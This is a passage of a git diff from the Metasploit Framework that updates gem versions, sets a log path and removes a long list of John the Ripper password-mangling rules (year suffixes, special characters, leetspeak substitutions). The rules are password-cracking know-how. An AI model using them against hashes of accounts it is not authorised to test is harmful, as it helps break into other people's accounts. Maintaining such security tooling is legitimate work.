diff --git a/Gemfile.lock b/Gemfile.lock
index 200b2961ab..d75506496d 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -9,7 +9,7 @@ PATH
json
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0)
- meterpreter_bins (= 0.0.12)
+ meterpreter_bins (= 0.0.13)
msgpack
nokogiri
packetfu (= 1.1.9)
@@ -22,7 +22,7 @@ PATH
tzinfo
metasploit-framework-db (4.11.0.pre.dev)
activerecord (>= 3.2.21, < 4.0.0)
- metasploit-credential (~> 0.13.8)
+ metasploit-credential (~> 0.13.11)
metasploit-framework (= 4.11.0.pre.dev)
metasploit_data_models (~> 0.21.3)
pg (>= 0.11)
@@ -101,7 +101,7 @@ GEM
gherkin (2.11.6)
json (>= 1.7.6)
hike (1.2.3)
- i18n (0.6.11)
+ i18n (0.7.0)
journey (1.0.4)
jsobfu (0.2.1)
rkelly-remix (= 0.0.6)
@@ -112,7 +112,7 @@ GEM
metasploit-concern (0.3.0)
activesupport (~> 3.0, >= 3.0.0)
railties (< 4.0.0)
- metasploit-credential (0.13.8)
+ metasploit-credential (0.13.11)
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.28.0)
metasploit_data_models (~> 0.21.0)
@@ -132,10 +132,10 @@ GEM
pg
railties (< 4.0.0)
recog (~> 1.0)
- meterpreter_bins (0.0.12)
+ meterpreter_bins (0.0.13)
method_source (0.8.2)
mime-types (1.25.1)
- mini_portile (0.6.1)
+ mini_portile (0.6.2)
msgpack (0.5.9)
multi_json (1.0.4)
network_interface (0.0.1)
@@ -143,7 +143,7 @@ GEM
mini_portile (~> 0.6.0)
packetfu (1.1.9)
pcaprub (0.11.3)
- pg (0.17.1)
+ pg (0.18.1)
polyglot (0.3.5)
pry (0.10.0)
coderay (~> 1.1.0)
@@ -175,7 +175,7 @@ GEM
rb-readline (0.5.1)
rdoc (3.12.2)
json (~> 1.4)
- recog (1.0.6)
+ recog (1.0.7)
nokogiri
redcarpet (3.1.2)
rkelly-remix (0.0.6)
diff --git a/config/application.rb b/config/application.rb
index f4eaab5417..47b5195903 100644
--- a/config/application.rb
+++ b/config/application.rb
@@ -34,6 +34,7 @@ module Metasploit
class Application < Rails::Application
include Metasploit::Framework::CommonEngine
+ config.paths['log'] = "#{Msf::Config.log_directory}/#{Rails.env}.log"
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
end
end
diff --git a/data/john/confs/john.conf b/data/john/confs/john.conf
index c6f6979fcf..32964b1622 100755
--- a/data/john/confs/john.conf
+++ b/data/john/confs/john.conf
@@ -292,2327 +292,6 @@ l Az"19[6-0][9-0]" <+
# Prepend "pass"
A0"[pP][aA][sS][sS]"
-# [List.Rules:KoreLogicRulesPrependYears]
-A0"20[0-1][0-9]"
-A0"19[3-9][0-9]"
-
-# Notice: Your wordlist should likely be all lowercase - or you are wasting work
-# [List.Rules:KoreLogicRulesAppendYears]
-cAz"19[0-9][0-9]"
-Az"19[0-9][0-9]"
-cAz"20[01][0-9]"
-Az"20[01][0-9]"
-
-
-# [List.Rules:KoreLogicRulesPrependAndAppendSpecial]
-cA0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"
-A0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"
-
-
-# [List.Rules:KoreLogicRulesAdd1234_Everywhere]
-Az"1234"
->0A[0]"1234"
->1A[1]"1234"
->2A[2]"1234"
->3A[3]"1234"
->4A[4]"1234"
->5A[5]"1234"
->6A[6]"1234"
->7A[7]"1234"
->8A[8]"1234"
->9A[9]"1234"
-
-# [List.Rules:KoreLogicRulesAdd123_Everywhere]
-Az"123"
->0A[0]"123"
->1A[1]"123"
->2A[2]"123"
->3A[3]"123"
->4A[4]"123"
->5A[5]"123"
->6A[6]"123"
->7A[7]"123"
->8A[8]"123"
->9A[9]"123"
-
-Az".com"
-cAz".com"
-Az".net"
-cAz".net"
-Az".org"
-cAz".org"
-
-# [List.Rules:KoreLogicRulesReplaceNumbers2Special]
-/1s1!
-/2s2@
-/3s3#
-/4s4$
-/5s5%
-/6s6^
-/7s7&
-/8s8*
-/9s9(
-/0s0)
-/1s1!%12s2@
-/1s1!%13s3#
-/1s1!%14s4$
-/1s1!%15s5%
-/1s1!%16s6^
-/1s1!%17s7&
-/1s1!%18s8*
-/1s1!%19s9(
-/1s1!%10s0)
-/2s2@%13s3#
-/2s2@%14s4$
-/2s2@%15s5%
-/2s2@%16s6^
-/2s2@%17s7&
-/2s2@%18s8*
-/2s2@%19s9(
-/2s2@%10s0)
-/3s3#%14s4$
-/3s3#%15s5%
-/3s3#%16s6^
-/3s3#%17s7&
-/3s3#%18s8*
-/3s3#%19s9(
-/3s3#%10s0)
-/4s4$%15s5%
-/4s4$%16s6^
-/4s4$%17s7&
-/4s4$%18s8*
-/4s4$%19s9(
-/4s4$%10s0)
-/5s5%%16s6^
-/5s5%%17s7&
-/5s5%%18s8*
-/5s5%%19s9(
-/5s5%%10s0)
-/6s6^%17s7&
-/6s6^%18s8*
-/6s6^%19s9(
-/6s6^%10s0)
-/7s7&%18s8*
-/7s7&%19s9(
-/7s7&%10s0)
-/8s8*%19s9(
-/8s8*%10s0)
-/9s9(%10s0)
-
-
-# [List.Rules:KoreLogicRulesReplaceNumbers]
-/0s01
-/0s02
-/0s03
-/0s04
-/0s05
-/0s06
-/0s07
-/0s08
-/0s09
-/1s10
-/1s12
-/1s13
-/1s14
-/1s15
-/1s16
-/1s17
-/1s18
-/1s19
-/2s20
-/2s21
-/2s23
-/2s24
-/2s25
-/2s26
-/2s27
-/2s28
-/2s29
-/3s30
-/3s31
-/3s32
-/3s34
-/3s35
-/3s36
-/3s37
-/3s38
-/3s39
-/4s40
-/4s41
-/4s42
-/4s43
-/4s45
-/4s46
-/4s47
-/4s48
-/4s49
-/5s50
-/5s51
-/5s52
-/5s53
-/5s54
-/5s56
-/5s57
-/5s58
-/5s59
-/6s60
-/6s61
-/6s62
-/6s63
-/6s64
-/6s65
-/6s67
-/6s68
-/6s69
-/7s70
-/7s71
-/7s72
-/7s73
-/7s74
-/7s75
-/7s76
-/7s78
-/7s79
-/8s80
-/8s81
-/8s82
-/8s83
-/8s84
-/8s85
-/8s86
-/8s87
-/8s89
-/9s90
-/9s91
-/9s92
-/9s93
-/9s94
-/9s95
-/9s96
-/9s97
-/9s98
-
-# [List.Rules:KoreLogicRulesPrependJustSpecials]
-cA0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"
-A0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"
-cA0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*][!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"
-A0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*][!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"
-
-# [List.Rules:KoreLogicRulesAppend1_AddSpecialEverywhere]
->4cA[0-5]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1"
->5cA[6]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1"
->6cA[7]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1"
->7cA[8]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1"
->8cA[9]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1"
->4A[0-5]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1"
->5A[6]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1"
->6A[7]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1"
->7A[8]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1"
->8A[9]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1"
-
-
-A0"[dD]ev"
-Az"[dD]ev"
-A0"[uU]at"
-Az"[uU]at"
-A0"[pP]rod"
-Az"[pP]rod"
-A0"[tT]est"
-Az"[tT]est"
-
-
-
-/asa@[:c]
-/asa4[:c]
-/AsA4[:c]
-/AsA@[:c]
-/bsb8[:c]
-/BsB8[:c]
-/ese3[:c]
-/EsE3[:c]
-/isi1[:c]
-/isi![:c]
-/isi|[:c]
-/IsI1[:c]
-/IsI![:c]
-/IsI|[:c]
-/lsl1[:c]
-/lsl7[:c]
-/lsl|[:c]
-/lsl![:c]
-/Lsl1[:c]
-/Lsl7[:c]
-/Lsl|[:c]
-/Lsl![:c]
-/oso0[:c]
-/OsO0[:c]
-/sss$[:c]
-/sss5[:c]
-/SsS$[:c]
-/SsS5[:c]
-/tst+[:c]
-/TsT+[:c]
-/1s1![:c]
-/1s1i[:c]
-/1s1I[:c]
-/1s1|[:c]
-/0s0o[:c]
-/0s0O[:c]
-/3s3e[:c]
-/3s3E[:c]
-/4s4a[:c]
-/4s4A[:c]
-/5s5s[:c]
-/5s5S[:c]
-/7s7l[:c]
-/7s7L[:c]
-/8s8b[:c]
-/8s8B[:c]
-/asa@/bsb8[:c]
-/asa@/BsB8[:c]
-/asa@/ese3[:c]
-/asa@/EsE3[:c]
-/asa@/isi1[:c]
-/asa@/isi![:c]
-/asa@/isi|[:c]
-/asa@/IsI1[:c]
-/asa@/IsI![:c]
-/asa@/IsI|[:c]
-/asa@/lsl1[:c]
-/asa@/lsl7[:c]
-/asa@/lsl|[:c]
-/asa@/lsl![:c]
-/asa@/Lsl1[:c]
-/asa@/Lsl7[:c]
-/asa@/Lsl|[:c]
-/asa@/Lsl![:c]
-/asa@/oso0[:c]
-/asa@/OsO0[:c]
-/asa@/sss$[:c]
-/asa@/sss5[:c]
-/asa@/SsS$[:c]
-/asa@/SsS5[:c]
-/asa@/tst+[:c]
-/asa@/TsT+[:c]
-/asa@/1s1![:c]
-/asa@/1s1i[:c]
-/asa@/1s1I[:c]
-/asa@/1s1|[:c]
-/asa@/0s0o[:c]
-/asa@/0s0O[:c]
-/asa@/3s3e[:c]
-/asa@/3s3E[:c]
-/asa@/4s4a[:c]
-/asa@/4s4A[:c]
-/asa@/5s5s[:c]
-/asa@/5s5S[:c]
-/asa@/7s7l[:c]
-/asa@/7s7L[:c]
-/asa@/8s8b[:c]
-/asa@/8s8B[:c]
-/asa4/AsA4[:c]
-/asa4/AsA@[:c]
-/asa4/bsb8[:c]
-/asa4/BsB8[:c]
-/asa4/ese3[:c]
-/asa4/EsE3[:c]
-/asa4/isi1[:c]
-/asa4/isi![:c]
-/asa4/isi|[:c]
-/asa4/IsI1[:c]
-/asa4/IsI![:c]
-/asa4/IsI|[:c]
-/asa4/lsl1[:c]
-/asa4/lsl7[:c]
-/asa4/lsl|[:c]
-/asa4/lsl![:c]
-/asa4/Lsl1[:c]
-/asa4/Lsl7[:c]
-/asa4/Lsl|[:c]
-/asa4/Lsl![:c]
-/asa4/oso0[:c]
-/asa4/OsO0[:c]
-/asa4/sss$[:c]
-/asa4/sss5[:c]
-/asa4/SsS$[:c]
-/asa4/SsS5[:c]
-/asa4/tst+[:c]
-/asa4/TsT+[:c]
-/asa4/1s1![:c]
-/asa4/1s1i[:c]
-/asa4/1s1I[:c]
-/asa4/1s1|[:c]
-/asa4/0s0o[:c]
-/asa4/0s0O[:c]
-/asa4/3s3e[:c]
-/asa4/3s3E[:c]
-/asa4/4s4a[:c]
-/asa4/4s4A[:c]
-/asa4/5s5s[:c]
-/asa4/5s5S[:c]
-/asa4/7s7l[:c]
-/asa4/7s7L[:c]
-/asa4/8s8b[:c]
-/asa4/8s8B[:c]
-/AsA4/asa@[:c]
-/AsA4/asa4[:c]
-/AsA4/BsB8[:c]
-/AsA4/ese3[:c]
-/AsA4/EsE3[:c]
-/AsA4/isi1[:c]
-/AsA4/isi![:c]
-/AsA4/isi|[:c]
-/AsA4/IsI1[:c]
-/AsA4/IsI![:c]
-/AsA4/IsI|[:c]
-/AsA4/lsl1[:c]
-/AsA4/lsl7[:c]
-/AsA4/lsl|[:c]
-/AsA4/lsl![:c]
-/AsA4/Lsl1[:c]
-/AsA4/Lsl7[:c]
-/AsA4/Lsl|[:c]
-/AsA4/Lsl![:c]
-/AsA4/oso0[:c]
-/AsA4/OsO0[:c]
-/AsA4/sss$[:c]
-/AsA4/sss5[:c]
-/AsA4/SsS$[:c]
-/AsA4/SsS5[:c]
-/AsA4/tst+[:c]
-/AsA4/TsT+[:c]
-/AsA4/1s1![:c]
-/AsA4/1s1i[:c]
-/AsA4/1s1I[:c]
-/AsA4/1s1|[:c]
-/AsA4/0s0o[:c]
-/AsA4/0s0O[:c]
-/AsA4/3s3e[:c]
-/AsA4/3s3E[:c]
-/AsA4/4s4a[:c]
-/AsA4/4s4A[:c]
-/AsA4/5s5s[:c]
-/AsA4/5s5S[:c]
-/AsA4/7s7l[:c]
-/AsA4/7s7L[:c]
-/AsA4/8s8b[:c]
-/AsA4/8s8B[:c]
-/AsA@/asa@[:c]
-/AsA@/asa4[:c]
-/AsA@/bsb8[:c]
-/AsA@/BsB8[:c]
-/AsA@/ese3[:c]
-/AsA@/EsE3[:c]
-/AsA@/isi1[:c]
-/AsA@/isi![:c]
-/AsA@/isi|[:c]
-/AsA@/IsI1[:c]
-/AsA@/IsI![:c]
-/AsA@/IsI|[:c]
-/AsA@/lsl1[:c]
-/AsA@/lsl7[:c]
-/AsA@/lsl|[:c]
-/AsA@/lsl![:c]
-/AsA@/Lsl1[:c]
-/AsA@/Lsl7[:c]
-/AsA@/Lsl|[:c]
-/AsA@/Lsl![:c]
-/AsA@/oso0[:c]
-/AsA@/OsO0[:c]
-/AsA@/sss$[:c]
-/AsA@/sss5[:c]
-/AsA@/SsS$[:c]
-/AsA@/SsS5[:c]
-/AsA@/tst+[:c]
-/AsA@/TsT+[:c]
-/AsA@/1s1![:c]
-/AsA@/1s1i[:c]
-/AsA@/1s1I[:c]
-/AsA@/1s1|[:c]
-/AsA@/0s0o[:c]
-/AsA@/0s0O[:c]
-/AsA@/3s3e[:c]
-/AsA@/3s3E[:c]
-/AsA@/4s4a[:c]
-/AsA@/4s4A[:c]
-/AsA@/5s5s[:c]
-/AsA@/5s5S[:c]
-/AsA@/7s7l[:c]
-/AsA@/7s7L[:c]
-/AsA@/8s8b[:c]
-/AsA@/8s8B[:c]
-/bsb8/asa@[:c]
-/bsb8/asa4[:c]
-/bsb8/AsA4[:c]
-/bsb8/AsA@[:c]
-/bsb8/BsB8[:c]
-/bsb8/ese3[:c]
-/bsb8/EsE3[:c]
-/bsb8/isi1[:c]
-/bsb8/isi![:c]
-/bsb8/isi|[:c]
-/bsb8/IsI1[:c]
-/bsb8/IsI![:c]
-/bsb8/IsI|[:c]
-/bsb8/lsl1[:c]
-/bsb8/lsl7[:c]
-/bsb8/lsl|[:c]
-/bsb8/lsl![:c]
-/bsb8/Lsl1[:c]
-/bsb8/Lsl7[:c]
-/bsb8/Lsl|[:c]
-/bsb8/Lsl![:c]
-/bsb8/oso0[:c]
-/bsb8/OsO0[:c]
-/bsb8/sss$[:c]
-/bsb8/sss5[:c]
-/bsb8/SsS$[:c]
-/bsb8/SsS5[:c]
-/bsb8/tst+[:c]
-/bsb8/TsT+[:c]
-/bsb8/1s1![:c]
-/bsb8/1s1i[:c]
-/bsb8/1s1I[:c]
-/bsb8/1s1|[:c]
-/bsb8/0s0o[:c]
-/bsb8/0s0O[:c]
-/bsb8/3s3e[:c]
-/bsb8/3s3E[:c]
-/bsb8/4s4a[:c]
-/bsb8/4s4A[:c]
-/bsb8/5s5s[:c]
-/bsb8/5s5S[:c]
-/bsb8/7s7l[:c]
-/bsb8/7s7L[:c]
-/bsb8/8s8b[:c]
-/bsb8/8s8B[:c]
-/BsB8/asa@[:c]
-/BsB8/asa4[:c]
-/BsB8/AsA4[:c]
-/BsB8/AsA@[:c]
-/BsB8/bsb8[:c]
-/BsB8/ese3[:c]
-/BsB8/EsE3[:c]
-/BsB8/isi1[:c]
-/BsB8/isi![:c]
-/BsB8/isi|[:c]
-/BsB8/IsI1[:c]
-/BsB8/IsI![:c]
-/BsB8/IsI|[:c]
-/BsB8/lsl1[:c]
-/BsB8/lsl7[:c]
-/BsB8/lsl|[:c]
-/BsB8/lsl![:c]
-/BsB8/Lsl1[:c]
-/BsB8/Lsl7[:c]
-/BsB8/Lsl|[:c]
-/BsB8/Lsl![:c]
-/BsB8/oso0[:c]
-/BsB8/OsO0[:c]
-/BsB8/sss$[:c]
-/BsB8/sss5[:c]
-/BsB8/SsS$[:c]
-/BsB8/SsS5[:c]
-/BsB8/tst+[:c]
-/BsB8/TsT+[:c]
-/BsB8/1s1![:c]
-/BsB8/1s1i[:c]
-/BsB8/1s1I[:c]
-/BsB8/1s1|[:c]
-/BsB8/0s0o[:c]
-/BsB8/0s0O[:c]
-/BsB8/3s3e[:c]
-/BsB8/3s3E[:c]
-/BsB8/4s4a[:c]
-/BsB8/4s4A[:c]
-/BsB8/5s5s[:c]
-/BsB8/5s5S[:c]
-/BsB8/7s7l[:c]
-/BsB8/7s7L[:c]
-/BsB8/8s8b[:c]
-/BsB8/8s8B[:c]
-/ese3/asa@[:c]
-/ese3/asa4[:c]
-/ese3/AsA4[:c]
-/ese3/AsA@[:c]
-/ese3/bsb8[:c]
-/ese3/BsB8[:c]
-/ese3/EsE3[:c]
-/ese3/isi1[:c]
-/ese3/isi![:c]
-/ese3/isi|[:c]
-/ese3/IsI1[:c]
-/ese3/IsI![:c]
-/ese3/IsI|[:c]
-/ese3/lsl1[:c]
-/ese3/lsl7[:c]
-/ese3/lsl|[:c]
-/ese3/lsl![:c]
-/ese3/Lsl1[:c]
-/ese3/Lsl7[:c]
-/ese3/Lsl|[:c]
-/ese3/Lsl![:c]
-/ese3/oso0[:c]
-/ese3/OsO0[:c]
-/ese3/sss$[:c]
-/ese3/sss5[:c]
-/ese3/SsS$[:c]
-/ese3/SsS5[:c]
-/ese3/tst+[:c]
-/ese3/TsT+[:c]
-/ese3/1s1![:c]
-/ese3/1s1i[:c]
-/ese3/1s1I[:c]
-/ese3/1s1|[:c]
-/ese3/0s0o[:c]
-/ese3/0s0O[:c]
-/ese3/3s3e[:c]
-/ese3/3s3E[:c]
-/ese3/4s4a[:c]
-/ese3/4s4A[:c]
-/ese3/5s5s[:c]
-/ese3/5s5S[:c]
-/ese3/7s7l[:c]
-/ese3/7s7L[:c]
-/ese3/8s8b[:c]
-/ese3/8s8B[:c]
-/EsE3/asa@[:c]
-/EsE3/asa4[:c]
-/EsE3/AsA4[:c]
-/EsE3/AsA@[:c]
-/EsE3/bsb8[:c]
-/EsE3/BsB8[:c]
-/EsE3/ese3[:c]
-/EsE3/isi1[:c]
-/EsE3/isi![:c]
-/EsE3/isi|[:c]
-/EsE3/IsI1[:c]
-/EsE3/IsI![:c]
-/EsE3/IsI|[:c]
-/EsE3/lsl1[:c]
-/EsE3/lsl7[:c]
-/EsE3/lsl|[:c]
-/EsE3/lsl![:c]
-/EsE3/Lsl1[:c]
-/EsE3/Lsl7[:c]
-/EsE3/Lsl|[:c]
-/EsE3/Lsl![:c]
-/EsE3/oso0[:c]
-/EsE3/OsO0[:c]
-/EsE3/sss$[:c]
-/EsE3/sss5[:c]
-/EsE3/SsS$[:c]
-/EsE3/SsS5[:c]
-/EsE3/tst+[:c]
-/EsE3/TsT+[:c]
-/EsE3/1s1![:c]
-/EsE3/1s1i[:c]
-/EsE3/1s1I[:c]
-/EsE3/1s1|[:c]
-/EsE3/0s0o[:c]
-/EsE3/0s0O[:c]
-/EsE3/3s3e[:c]
-/EsE3/3s3E[:c]
-/EsE3/4s4a[:c]
-/EsE3/4s4A[:c]
-/EsE3/5s5s[:c]
-/EsE3/5s5S[:c]
-/EsE3/7s7l[:c]
-/EsE3/7s7L[:c]
-/EsE3/8s8b[:c]
-/EsE3/8s8B[:c]
-/isi1/asa@[:c]
-/isi1/asa4[:c]
-/isi1/AsA4[:c]
-/isi1/AsA@[:c]
-/isi1/bsb8[:c]
-/isi1/BsB8[:c]
-/isi1/ese3[:c]
-/isi1/EsE3[:c]
-/isi1/IsI1[:c]
-/isi1/IsI![:c]
-/isi1/IsI|[:c]
-/isi1/lsl1[:c]
-/isi1/lsl7[:c]
-/isi1/lsl|[:c]
-/isi1/lsl![:c]
-/isi1/Lsl1[:c]
-/isi1/Lsl7[:c]
-/isi1/Lsl|[:c]
-/isi1/Lsl![:c]
-/isi1/oso0[:c]
-/isi1/OsO0[:c]
-/isi1/sss$[:c]
-/isi1/sss5[:c]
-/isi1/SsS$[:c]
-/isi1/SsS5[:c]
-/isi1/tst+[:c]
-/isi1/TsT+[:c]
-/isi1/1s1![:c]
-/isi1/1s1i[:c]
-/isi1/1s1I[:c]
-/isi1/1s1|[:c]
-/isi1/0s0o[:c]
-/isi1/0s0O[:c]
-/isi1/3s3e[:c]
-/isi1/3s3E[:c]
-/isi1/4s4a[:c]
-/isi1/4s4A[:c]
-/isi1/5s5s[:c]
-/isi1/5s5S[:c]
-/isi1/7s7l[:c]
-/isi1/7s7L[:c]
-/isi1/8s8b[:c]
-/isi1/8s8B[:c]
-/isi!/asa@[:c]
-/isi!/asa4[:c]
-/isi!/AsA4[:c]
-/isi!/AsA@[:c]
-/isi!/bsb8[:c]
-/isi!/BsB8[:c]
-/isi!/ese3[:c]
-/isi!/EsE3[:c]
-/isi!/isi1[:c]
-/isi!/isi|[:c]
-/isi!/IsI1[:c]
-/isi!/IsI![:c]
-/isi!/IsI|[:c]
-/isi!/lsl1[:c]
-/isi!/lsl7[:c]
-/isi!/lsl|[:c]
-/isi!/lsl![:c]
-/isi!/Lsl1[:c]
-/isi!/Lsl7[:c]
-/isi!/Lsl|[:c]
-/isi!/Lsl![:c]
-/isi!/oso0[:c]
-/isi!/OsO0[:c]
-/isi!/sss$[:c]
-/isi!/sss5[:c]
-/isi!/SsS$[:c]
-/isi!/SsS5[:c]
-/isi!/tst+[:c]
-/isi!/TsT+[:c]
-/isi!/1s1![:c]
-/isi!/1s1i[:c]
-/isi!/1s1I[:c]
-/isi!/1s1|[:c]
-/isi!/0s0o[:c]
-/isi!/0s0O[:c]
-/isi!/3s3e[:c]
-/isi!/3s3E[:c]
-/isi!/4s4a[:c]
-/isi!/4s4A[:c]
-/isi!/5s5s[:c]
-/isi!/5s5S[:c]
-/isi!/7s7l[:c]
-/isi!/7s7L[:c]
-/isi!/8s8b[:c]
-/isi!/8s8B[:c]
-/isi|/asa@[:c]
-/isi|/asa4[:c]
-/isi|/AsA4[:c]
-/isi|/AsA@[:c]
-/isi|/bsb8[:c]
-/isi|/BsB8[:c]
-/isi|/ese3[:c]
-/isi|/EsE3[:c]
-/isi|/isi1[:c]
-/isi|/isi![:c]
-/isi|/IsI1[:c]
-/isi|/IsI![:c]
-/isi|/IsI|[:c]
-/isi|/lsl1[:c]
-/isi|/lsl7[:c]
-/isi|/lsl|[:c]
-/isi|/lsl![:c]
-/isi|/Lsl1[:c]
-/isi|/Lsl7[:c]
-/isi|/Lsl|[:c]
-/isi|/Lsl![:c]
-/isi|/oso0[:c]
-/isi|/OsO0[:c]
-/isi|/sss$[:c]
-/isi|/sss5[:c]
-/isi|/SsS$[:c]
-/isi|/SsS5[:c]
-/isi|/tst+[:c]
-/isi|/TsT+[:c]
-/isi|/1s1![:c]
-/isi|/1s1i[:c]
-/isi|/1s1I[:c]
-/isi|/1s1|[:c]
-/isi|/0s0o[:c]
-/isi|/0s0O[:c]
-/isi|/3s3e[:c]
-/isi|/3s3E[:c]
-/isi|/4s4a[:c]
-/isi|/4s4A[:c]
-/isi|/5s5s[:c]
-/isi|/5s5S[:c]
-/isi|/7s7l[:c]
-/isi|/7s7L[:c]
-/isi|/8s8b[:c]
-/isi|/8s8B[:c]
-/IsI1/asa@[:c]
-/IsI1/asa4[:c]
-/IsI1/AsA4[:c]
-/IsI1/AsA@[:c]
-/IsI1/bsb8[:c]
-/IsI1/BsB8[:c]
-/IsI1/ese3[:c]
-/IsI1/EsE3[:c]
-/IsI1/isi1[:c]
-/IsI1/isi![:c]
-/IsI1/isi|[:c]
-/IsI1/lsl1[:c]
-/IsI1/lsl7[:c]
-/IsI1/lsl|[:c]
-/IsI1/lsl![:c]
-/IsI1/Lsl1[:c]
-/IsI1/Lsl7[:c]
-/IsI1/Lsl|[:c]
-/IsI1/Lsl![:c]
-/IsI1/oso0[:c]
-/IsI1/OsO0[:c]
-/IsI1/sss$[:c]
-/IsI1/sss5[:c]
-/IsI1/SsS$[:c]
-/IsI1/SsS5[:c]
-/IsI1/tst+[:c]
-/IsI1/TsT+[:c]
-/IsI1/1s1![:c]
-/IsI1/1s1i[:c]
-/IsI1/1s1I[:c]
-/IsI1/1s1|[:c]
-/IsI1/0s0o[:c]
-/IsI1/0s0O[:c]
-/IsI1/3s3e[:c]
-/IsI1/3s3E[:c]
-/IsI1/4s4a[:c]
-/IsI1/4s4A[:c]
-/IsI1/5s5s[:c]
-/IsI1/5s5S[:c]
-/IsI1/7s7l[:c]
-/IsI1/7s7L[:c]
-/IsI1/8s8b[:c]
-/IsI1/8s8B[:c]
-/IsI!/asa@[:c]
-/IsI!/asa4[:c]
-/IsI!/AsA4[:c]
-/IsI!/AsA@[:c]
-/IsI!/bsb8[:c]
-/IsI!/BsB8[:c]
-/IsI!/ese3[:c]
-/IsI!/EsE3[:c]
-/IsI!/isi1[:c]
-/IsI!/isi![:c]
-/IsI!/isi|[:c]
-/IsI!/IsI1[:c]
-/IsI!/IsI|[:c]
-/IsI!/lsl1[:c]
-/IsI!/lsl7[:c]
-/IsI!/lsl|[:c]
-/IsI!/lsl![:c]
-/IsI!/Lsl1[:c]
-/IsI!/Lsl7[:c]
-/IsI!/Lsl|[:c]
-/IsI!/Lsl![:c]
-/IsI!/oso0[:c]
-/IsI!/OsO0[:c]
-/IsI!/sss$[:c]
-/IsI!/sss5[:c]
-/IsI!/SsS$[:c]
-/IsI!/SsS5[:c]
-/IsI!/tst+[:c]
-/IsI!/TsT+[:c]
-/IsI!/1s1![:c]
-/IsI!/1s1i[:c]
-/IsI!/1s1I[:c]
-/IsI!/1s1|[:c]
-/IsI!/0s0o[:c]
-/IsI!/0s0O[:c]
-/IsI!/3s3e[:c]
-/IsI!/3s3E[:c]
-/IsI!/4s4a[:c]
-/IsI!/4s4A[:c]
-/IsI!/5s5s[:c]
-/IsI!/5s5S[:c]
-/IsI!/7s7l[:c]
-/IsI!/7s7L[:c]
-/IsI!/8s8b[:c]
-/IsI!/8s8B[:c]
-/IsI|/asa@[:c]
-/IsI|/asa4[:c]
-/IsI|/AsA4[:c]
-/IsI|/AsA@[:c]
-/IsI|/bsb8[:c]
-/IsI|/BsB8[:c]
-/IsI|/ese3[:c]
-/IsI|/EsE3[:c]
-/IsI|/isi1[:c]
-/IsI|/isi![:c]
-/IsI|/isi|[:c]
-/IsI|/IsI1[:c]
-/IsI|/IsI![:c]
-/IsI|/lsl1[:c]
-/IsI|/lsl7[:c]
-/IsI|/lsl|[:c]
-/IsI|/lsl![:c]
-/IsI|/Lsl1[:c]
-/IsI|/Lsl7[:c]
-/IsI|/Lsl|[:c]
-/IsI|/Lsl![:c]
-/IsI|/oso0[:c]
-/IsI|/OsO0[:c]
-/IsI|/sss$[:c]
-/IsI|/sss5[:c]
-/IsI|/SsS$[:c]
-/IsI|/SsS5[:c]
-/IsI|/tst+[:c]
-/IsI|/TsT+[:c]
-/IsI|/1s1![:c]
-/IsI|/1s1i[:c]
-/IsI|/1s1I[:c]
-/IsI|/1s1|[:c]
-/IsI|/0s0o[:c]
-/IsI|/0s0O[:c]
-/IsI|/3s3e[:c]
-/IsI|/3s3E[:c]
-/IsI|/4s4a[:c]
-/IsI|/4s4A[:c]
-/IsI|/5s5s[:c]
-/IsI|/5s5S[:c]
-/IsI|/7s7l[:c]
-/IsI|/7s7L[:c]
-/IsI|/8s8b[:c]
-/IsI|/8s8B[:c]
-/lsl1/asa@[:c]
-/lsl1/asa4[:c]
-/lsl1/AsA4[:c]
-/lsl1/AsA@[:c]
-/lsl1/bsb8[:c]
-/lsl1/BsB8[:c]
-/lsl1/ese3[:c]
-/lsl1/EsE3[:c]
-/lsl1/isi1[:c]
-/lsl1/isi![:c]
-/lsl1/isi|[:c]
-/lsl1/IsI1[:c]
-/lsl1/IsI![:c]
-/lsl1/IsI|[:c]
-/lsl1/Lsl1[:c]
-/lsl1/Lsl7[:c]
-/lsl1/Lsl|[:c]
-/lsl1/Lsl![:c]
-/lsl1/oso0[:c]
-/lsl1/OsO0[:c]
-/lsl1/sss$[:c]
-/lsl1/sss5[:c]
-/lsl1/SsS$[:c]
-/lsl1/SsS5[:c]
-/lsl1/tst+[:c]
-/lsl1/TsT+[:c]
-/lsl1/1s1![:c]
-/lsl1/1s1i[:c]
-/lsl1/1s1I[:c]
-/lsl1/1s1|[:c]
-/lsl1/0s0o[:c]
-/lsl1/0s0O[:c]
-/lsl1/3s3e[:c]
-/lsl1/3s3E[:c]
-/lsl1/4s4a[:c]
-/lsl1/4s4A[:c]
-/lsl1/5s5s[:c]
-/lsl1/5s5S[:c]
-/lsl1/7s7l[:c]
-/lsl1/7s7L[:c]
-/lsl1/8s8b[:c]
-/lsl1/8s8B[:c]
-/lsl7/asa@[:c]
-/lsl7/asa4[:c]
-/lsl7/AsA4[:c]
-/lsl7/AsA@[:c]
-/lsl7/bsb8[:c]
-/lsl7/BsB8[:c]
-/lsl7/ese3[:c]
